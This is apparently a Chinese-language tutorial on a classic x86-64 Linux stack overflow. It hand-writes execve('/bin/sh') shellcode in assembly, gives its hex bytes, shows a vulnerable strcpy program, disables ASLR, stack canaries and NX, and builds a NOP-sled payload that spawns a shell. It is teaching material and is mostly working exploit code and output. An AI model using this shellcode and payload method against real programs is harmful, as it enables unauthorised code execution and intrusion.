README
本文預設讀者熟悉C語言程式設計,熟悉常見的C标準庫函數的行為(如strcpy),熟悉x86彙編文法和常見彙編指令的行為,了解linux程序記憶體布局,了解函數調用過程和棧幀的概念,了解linux x86-64調用規約,同時對棧溢出攻擊有一個基本的認知。
文章會通過一個棧溢出攻擊的DEMO,來展示一個典型的shellcode是如何打造,如何工作的。
文章将抛開宏觀層面的解釋,盡量細緻地闡述shellcode的建構過程和異常問題分析等諸多細節,幫助讀者把棧溢出攻擊和shellcode了解的更清晰。
其實,棧溢出攻擊早已經被丢進了曆史的垃圾桶。
人們針對棧溢出攻擊有3個防範手段:
1.金絲雀(canary)
2.位址随機化(ASLR)
3.棧不可執行(NX)
為了實作這個DEMO,需要關閉這3個防範手段。
開始正題之前,先簡單溫習一些基礎知識:調用規約,棧幀和函數調用過程。
先看一下linux x86-64調用規約
再看一下棧幀的樣子:
CPU基于棧實作函數調用,程式每調用1個函數,都會建立一個棧幀。
x86 CPU有2個專用的棧寄存器(不考慮FPO)rbp 和 rsp。
rbp寄存器總是指向棧底,rsp寄存器總是指向棧頂
x86-64的棧是滿減棧,入棧時,棧指針rsp總是向下(向低位址方向)移動,且總是指向一個有效元素。
rsp和rbp之間的棧空間存放着目前函數的局部變量,rbp向上(向高位址方向)分别存放着父函數棧幀的rbp(通常叫做old-rbp),傳回位址(return-addr)以及父函數傳遞給子函數的參數。
x86 CPU的函數調用由call指令實作,call指令做2件事:
1.目前rip寄存器的值壓入堆棧,這個值通常叫做傳回位址(上圖黃色塊,returen-addr)
2.向rip寄存器寫入子函數的入口位址,該位址依賴于call指令的操作數。
跳轉到子函數後,子函數通常都會執行下面2條指令來建立自己的棧幀(不考慮FPO),這2條指令通常叫做函數序言。
- push %rbp (儲存父函數的rbp,上圖old-rbp塊)
- mov %rsp, %rbp (讓rbp與rsp重合,1個新的棧幀建立成功)
接下來會為局部變量配置設定棧空間,然後執行子函數體。
- sub $0x50,%rsp (配置設定80Byte的棧空間用于存放函數的局部變量)
子函數傳回前,會做反向動作:
6.通過leave指令恢複調用者函數棧幀。(leave指令執行函數序言的反操作,彈出棧頂元素到rbp)
7.最後通過ret指令傳回到調用者函數,ret指令會彈出棧頂元素到rip寄存器
ret指令是棧溢出攻擊的核心指令,因為該指令把棧上的資料寫入rip。倘若我們能通過某種方法篡改棧上的這段資料,讓rip指向我們的攻擊代碼,便實作了攻擊。
開始正題:
I. 構造shellcode
狹義地講,shellcode就是一段可以運作起一個shell的代碼。
廣義地講,shellcode就是一段被精心構造的攻擊代碼,用來達成攻擊者的目的。
下面就開始手寫一段shellcode第1版 (啥?難不成還有第2版?确實有)
.section .text
.global _start
_start:
jmp str
entry_point:
pop %rcx
xor %edx, %edx
xor %rsi, %rsi
mov %rcx, %rdi
add $59, %rax
syscall
str:
call entry_point
.ascii "/bin/sh"
簡單解釋一下這段代碼:
第1行聲明從這裡開始一個段,名字叫.text
第2行聲明_start是全局符号
第3行聲明符号_start
第4行跳轉到符号str處執行
第5行聲明局部符号entry_point
第6行取出棧頂元素寫入rcx寄存器
第7行空行
第8行rdx寄存器清0 (x86-64調用規約,第3個參數通過rdx傳遞)
第9行rsi寄存器清0 (第2個參數通過rsi傳遞)
第10行rcx寄存器的值寫入rdi寄存器 (第1個參數通過rdi傳遞)
第11行向rax寄存器寫入十進制數字59 (系統調用号通過rax傳遞)
第12行發起系統調用請求,陷入核心
第13行空行
第14行聲明局部符号str
第15行跳轉到符号entry_point處執行
第16行聲明一段使用ASCII字元的文本字元串
前2行的.text和_start這2個符号不能亂寫,ld内部內建的連結腳本預設引用這些符号,随意修改會導緻連結出問題。
第7和第13行這2個空行是我故意留下來的分隔符:
2個空行中間的代碼,是用來給59号系統調用execve傳參并發起系統調用請求的,這是shellcode的核心代碼。
execve的定義:
int execve(const char *filename, char *const argv[], char *const envp[]);
空行上面和空行下面的2段代碼,是shellcode的基本架構,其作用是實作動态擷取字元串/bin/sh的位址。
如何做到的?回顧前面溫習過的關于call指令的知識,因為字元串/bin/sh被放在了call指令的下面,執行call指令時,call指令的下1條指令的位址,也就是/bin/sh字元串的位址會被壓棧,call指令執行結束後,流程跳到entry_point,此時通過pop指令,即可取到字元串/bin/sh的位址。這樣可以免去對/bin/sh位址寫死,寫死越少,shellcode越健壯。
OK,代碼介紹完了。代碼儲存成shellcode.asm, 彙編并連結該程式
as -o shellcode.o shellcode.asm
ld -o shellcode shellcode.o
驗證shellcode能否正常工作,運作一下shellcode程序,果然打開了一個shell,運作幾條指令,輸出正常。
[email protected]:/root/shellcode# ./shellcode
# pwd
/root/shellcode
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
[email protected]:/root/shellcode#
接下來需要把shellcode程序的代碼段dump出來,使用objdump工具檢視代碼段資訊
[email protected]:/root/shellcode# objdump -h shellcode
shellcode: file format elf64-x86-64
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 0000001d 0000000000400078 0000000000400078 00000078 2**0
CONTENTS, ALLOC, LOAD, READONLY, CODE
得到資訊:偏移0x78 = 120 位元組,長度為 0x1d = 29位元組。
用dd指令導出這段資料,随便起個名字叫shitcode:
[email protected]:/root/shellcode# dd if=shellcode of=shitcode bs=1 count=29 skip=120
29+0 records in
29+0 records out
29 bytes copied, 0.00028993 s, 100 kB/s
再使用hexdump指令檢視一下shitcode
[email protected]:/root/shellcode# hexdump -Cv shitcode
00000000 eb 0f 59 31 d2 48 31 f6 48 89 cf 48 83 c0 3b 0f |..Y1.H1.H..H..;.|
00000010 05 e8 ec ff ff ff 2f 62 69 6e 2f 73 68 |....../bin/sh|
0000001d
這29位元組資料,就是shellcode的核心,運作這段代碼,他就會請求kernel為我們啟動一個shell
注意看hexdump的輸出:這段shellcode中是不包含0字元的,這個條件是必須要滿足的,因為幾乎所有的輸入函數,都是以0字元作為結束标志。shellcode中包含0字元會導緻輸入函數提前傳回,注入失敗。
如果你寫的shellcode編譯後發現有0字元,需要想辦法替換成不含0字元的同義指令。
比如 mov $0, %rax 可以改寫成 xor %rax, %rax
II. 尋找溢出點,計算傳回位址
victim.c
#include <stdio.h>
#include <string.h>
#define BUFSIZE 64
int main(int argc, char *argv[])
{
char buf[BUFSIZE];
printf("Buf: %p\n", &buf);
strcpy(buf, argv[1]);
return 0;
}
這段代碼使用了strcpy函數,把外界傳入的參數寫入棧上的緩沖區。
strcpy函數的行為很簡單:一個字元一個字元地讀取源字元串,寫入到目的緩沖區,直到有一天在源字元串中讀到一個0字元,才停止。
這裡就是一個典型的溢出點:
讓strcpy函數讀入shellcode,當局部數組buf溢出時,就會覆寫掉傳回位址,再想辦法把傳回位址覆寫成shellcode的入口位址,當函數執行ret指令時,就跳到了shellcode入口,如此即可實作攻擊。
從victim.c源代碼中我們可以看到函數中隻有1個局部變量buf,大小是64Byte,根據前面的棧幀結構的圖檔,很容易推測出,傳回位址(return-addr)距離buf的起始位址是 64+8(old-rbp) = 72Byte,而傳回位址(return-addr)本身的大小是8Byte,若想覆寫掉傳回位址,shellcode的長度至少是80Byte.
那麼問題來了,前面我們制作的shellcode貌似隻有29Byte怎麼辦,這個好辦,使用花指令填充就行了,最常用的花指令就是nop空操作指令(no opration)該指令僅占用1Byte長度,CPU指令nop指令時做空操作(空操作就是啥也不做),執行nop指令不會影響任何寄存器的值(當然,rip會+1。這不是屁話嗎,多餘說)
好了,大緻分析完了,再重複1遍:根據victim.c的代碼,我們的shellcode将會通過指令行參數的形式,被危險函數strcpy讀入到局部變量buf中,shellcode的長度至少是80Byte才可以覆寫到傳回位址,覆寫到傳回位址的值應該是shellcode的入口位址,也就是buf的起始位址,于是最重要的問題終于來了:我們如何知道buf的起始位址呢?
答案是,沒辦法知道,是以文章結束,您洗洗睡吧。
但是,我們隻是在做1個棧溢出攻擊的DEMO嘛,自帶上帝視角,所有的不爽我們都可以用手解決,buf位址是多少,我幹脆用printf列印出來。
你猜buf的位址是固定的嗎?很久以前是,現在不是了,這就是前面提到的保護措施2:位址随機化。
這個保護措施是linux核心預設開啟的,每次應用程式在裝載的過程中,核心都會把堆,棧,映射區等起始位址随機化。但是shellcode是死的,如果buf位址每次都不一樣,這就沒得玩了。
怎麼辦?上帝之手,來。
關閉位址随機化需要root執行這條指令:
echo 0 > /proc/sys/kernel/randomize_va_space
關閉位址随機化後,每次運作程式victim,buf的位址是不變的。
前面還提到了另外的保護措施1,3,上帝之手,再來。
在編譯時指定2個額外的參數:
gcc -o victim victim.c -fno-stack-protector -z execstack
其中
-fno-stack-protector 關閉1,金絲雀(金絲雀是編譯器放在棧底的一個随機數,編譯器會插入代碼,在函數傳回時判斷随機數是否被篡改,一旦檢測到被篡改就會讓程序自殺)
-z execstack 關閉3,棧不可執行 (shellcode是寫入到棧上的,必須讓棧有可執行權限,否則CPU取指會觸發MMU異常,同樣會導緻核心終止目前程式)
oh,yes, 被上帝之手撫摸過以後,現在基本沒有阻礙了,這時我們才有機會做棧溢出攻擊。
shellcode裡需要寫死的傳回位址填寫多少呢?因為沒有了位址随機化,每次buf的位址是固定的,給buf傳遞80個位元組,看看buf的位址是多少。
[email protected]:/root/shellcode# ./victim 11111111111111111111111111111111111111111111111111111111111111111111111111111111
Buf: 0x7fffffffe410
Segmentation fault (core dumped)
這裡有個小細節可能會令你很詫異:傳遞參數的長度不同,buf的位址居然不同,怎麼回事,說好了沒有位址随機化的?!
其實位址随機化确實已經關閉了,但因為我們是通過main函數的argv傳參,參數本身也會占用棧空間,導緻main函數局部變量的位址變化,參數長度越長,buf的位址會越小。
翻到前面看一下棧幀的圖檔,指令行參數和環境變量,是位于main函數棧幀上面的。
OK,至此,拿到了buf的運作時的位址:0x7fffffffe410,這個位址就是要寫死到shellcode中的傳回位址。
此處仍然有一個小問題需要注意:通常棧空間的起始位址都是對齊的,最低位元組很可能是0。 假設我們運作後發現buf的位址是0x7fffffffe400,此時傳回位址包含0字元,同樣會使輸入函數strcpy提前傳回,shellcode無法完全注入。這種情況下,我們需要稍微改一改這個傳回位址,比如填寫成0x7fffffffe411。雖然偏了17個位元組,但好在shellcode前面填充很多的nop指令,隻要保證傳回位址落到nop指令區間上,依然可以一步一步走進shellcode的入口。
III. 建構完備的shellcode
根據前面的分析,現在我們需要建構一個完備的shellcode了,他最終的樣子是這樣的:
前起始的位置有43個nop指令,每個nop指令1個Byte,共43Byte,緊随其後的是29Byte的shellcode核心,最後面的是8Byte的傳回位址,43+29+8 = 80Byte
如何建構這樣一段資料呢?我特地寫了一個小工具:
int main(int argc, char *argv[])
{
void *p;
char buf[100];
switch(argv[1][0]){
case '1':
// padding nop
memset(buf, '\x90', 100);
/**
* how many 'nop' you want to pad
* */
buf[43] = 0;
printf("%s", buf);
break;
case '2':
//padding return-addr
/**
* Note that return-addr MUST NOT contains 0 char.
* */
p = (void *)0x7fffffffe411;
memset(buf, 0, 16);
memcpy(buf, &p, 8);
printf("%s", buf);
break;
}
return 0;
}
函數實作2個功能:
- 填充43個nop (nop指令的機器碼是0x90)
- 填充傳回位址0x7fffffffe411
編譯這個程式,并建構完備的shellcode:
[email protected]:/root/shellcode# gcc -o pad padding.c
[email protected]:/root/shellcode# ./pad 1 > shellcode
[email protected]:/root/shellcode# cat shitcode >> shellcode
[email protected]:/root/shellcode# ./pad 2 >> shellcode
[email protected]:/root/shellcode# hexdump -Cv shellcode
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000020 90 90 90 90 90 90 90 90 90 90 90 eb 0f 59 31 d2 |.............Y1.|
00000030 48 31 f6 48 89 cf 48 83 c0 3b 0f 05 e8 ec ff ff |H1.H..H..;......|
00000040 ff 2f 62 69 6e 2f 73 68 11 e4 ff ff ff 7f |./bin/sh......|
0000004e
[email protected]:/root/shellcode#
傳回位址0x00007fffffffe411是用%s寫入的,高位的0字元沒有寫入檔案,強迫症不能忍,别攔我,我要再補2個0字元。
[email protected]:/root/shellcode# dd if=/dev/zero of=zero bs=1 count=2
2+0 records in
2+0 records out
2 bytes copied, 0.000310199 s, 6.4 kB/s
[email protected]:/root/shellcode# cat zero >> shellcode
[email protected]:/root/shellcode# hexdump -Cv shellcode
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000020 90 90 90 90 90 90 90 90 90 90 90 eb 0f 59 31 d2 |.............Y1.|
00000030 48 31 f6 48 89 cf 48 83 c0 3b 0f 05 e8 ec ff ff |H1.H..H..;......|
00000040 ff 2f 62 69 6e 2f 73 68 11 e4 ff ff ff 7f 00 00 |./bin/sh........|
00000050
[email protected]:/root/shellcode#
OK,整整齊齊80個位元組,看着倍兒舒服,内容也和前面預想的一模一樣,完備的shellcode誕生了。趕快試用一下吧!
[email protected]:/root/shellcode# ./victim `cat shellcode`
運作起來,并沒有啟動一個shell,而是停在那裡不傳回,同時系統會變得非常非常卡頓。
很明顯,翻車了。shellcode不但沒有工作,還引發了一場災難。
IV. 分析意外,構造完備的shellcode第2版
這次意外源于另一個細節:
傳遞給execve系統調用的第一個參數,是可執行程式/bin/sh的路徑,這個路徑一定要以0字元結尾,否則系統調用會因路徑錯誤而執行失敗。
再看shellcode第1版源代碼:
.section .text
.global _start
_start:
jmp str
entry_point:
pop %rcx
xor %edx, %edx
xor %rsi, %rsi
mov %rcx, %rdi
add $59, %rax
syscall
str:
call entry_point
.ascii "/bin/sh"
一旦execve執行失敗,syscall指令從核心傳回,會繼續執行call entry_point跳到上面,沿着pop %rcx指令重新執行系統調用execve。
如此瘋狂地,風馳電掣地從使用者态和核心态進進出出,成噸的上下文切換成本,導緻了CPU飙升,系統卡頓。
如何解決呢?很簡單,在shellcode中添加幾行代碼,執行syscall指令之前,先給/bin/sh字元串結束位置寫0。
shellcode第2版代碼如下:
.section .text
.global _start
_start:
jmp str
entry_point:
pop %rcx
mov %rcx, %rbx
add $7, %rbx
xor %rax, %rax
mov %rax, (%rbx)
xor %edx, %edx
xor %rsi, %rsi
mov %rcx, %rdi
add $59, %rax
syscall
str:
call entry_point
.ascii "/bin/sh"
添加了4行代碼,通過rbx計算出字元串/bin/sh的結束位址,然後rax清0,把rax的值寫入到rbx指向的字元串結束位址上。
[email protected]:/root/shellcode# as -o shellcode.o shellcode2.asm
[email protected]:/root/shellcode# ld -o shellcode2 shellcode.o
[email protected]:/root/shellcode# objdump -h shellcode2
shellcode2: file format elf64-x86-64
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 0000002a 0000000000400078 0000000000400078 00000078 2**0
CONTENTS, ALLOC, LOAD, READONLY, CODE
[email protected]:/root/shellcode# dd if=shellcode2 of=shitcode2 bs=1 count=42 skip=120
42+0 records in
42+0 records out
42 bytes copied, 0.000172601 s, 243 kB/s
[email protected]:/root/shellcode#
彙編,連結,查詢,提取,一氣呵成。
躺在硬碟上的shitcode2檔案,就是第2版shellcode的核心代碼,大小是42個位元組,比之前的29個位元組稍大了點。還好,并沒有超過72位元組,依然可用。
看一眼他的樣子吧:
[email protected]:/root/shellcode# hexdump -Cv shitcode2
00000000 eb 1c 59 48 89 cb 48 83 c3 07 48 31 c0 48 89 03 |..YH..H...H1.H..|
00000010 31 d2 48 31 f6 48 89 cf 48 83 c0 3b 0f 05 e8 df |1.H1.H..H..;....|
00000020 ff ff ff 2f 62 69 6e 2f 73 68 |.../bin/sh|
0000002a
[email protected]:/root/shellcode#
很完美的shellcode,不包含字元0,依然可以被strcpy全部讀入。
如果此時你手賤運作了一下剛剛生成的shellcode2可執行程式,會發現他并沒有像第1版一樣啟動一個shell,而是會報出段錯誤:
熟悉linux記憶體管理的同學應該很清楚為什麼:
沒錯,後來添加的指令 mov %rax, (%rbx) 在嘗試寫代碼段,然而代碼段是沒有寫權限的,直接執行該程式時會觸發MMU異常,核心會發送SIGSEGV信号殺死程序。
别怕,要知道這段代碼最終會被讀入棧空間的,在棧上事情就不一樣了,棧本身是可寫的,前面被上帝之手撫摸過之後,棧也可執行了,shellcode會悄悄地地給/bin/sh結束位址填0,保證execve系統調用執行成功
廢話少叙,開始建構完備的shellcode第2版:
傳回位址不需要計算,依然是0x7fffffffe411
nop指令填充數需要重新計算:72-42=30,這次隻需要填充30個nop。
修改一下之前的padding小工具,設定成寫入30個nop。
開始建構:
[email protected]:/root/shellcode# gcc -o pad padding.c
[email protected]:/root/shellcode# ./pad 1 > shellcode2
[email protected]:/root/shellcode# cat shitcode2 >> shellcode2
[email protected]:/root/shellcode# ./pad 2 >> shellcode2
[email protected]:/root/shellcode# cat zero >> shellcode2
試用一下
[email protected]:/root/shellcode# ./victim `cat shellcode2`
Buf: 0x7fffffffe410
# pwd
/root/shellcode
#
成功!
大總結
我寫完了,謝謝觀看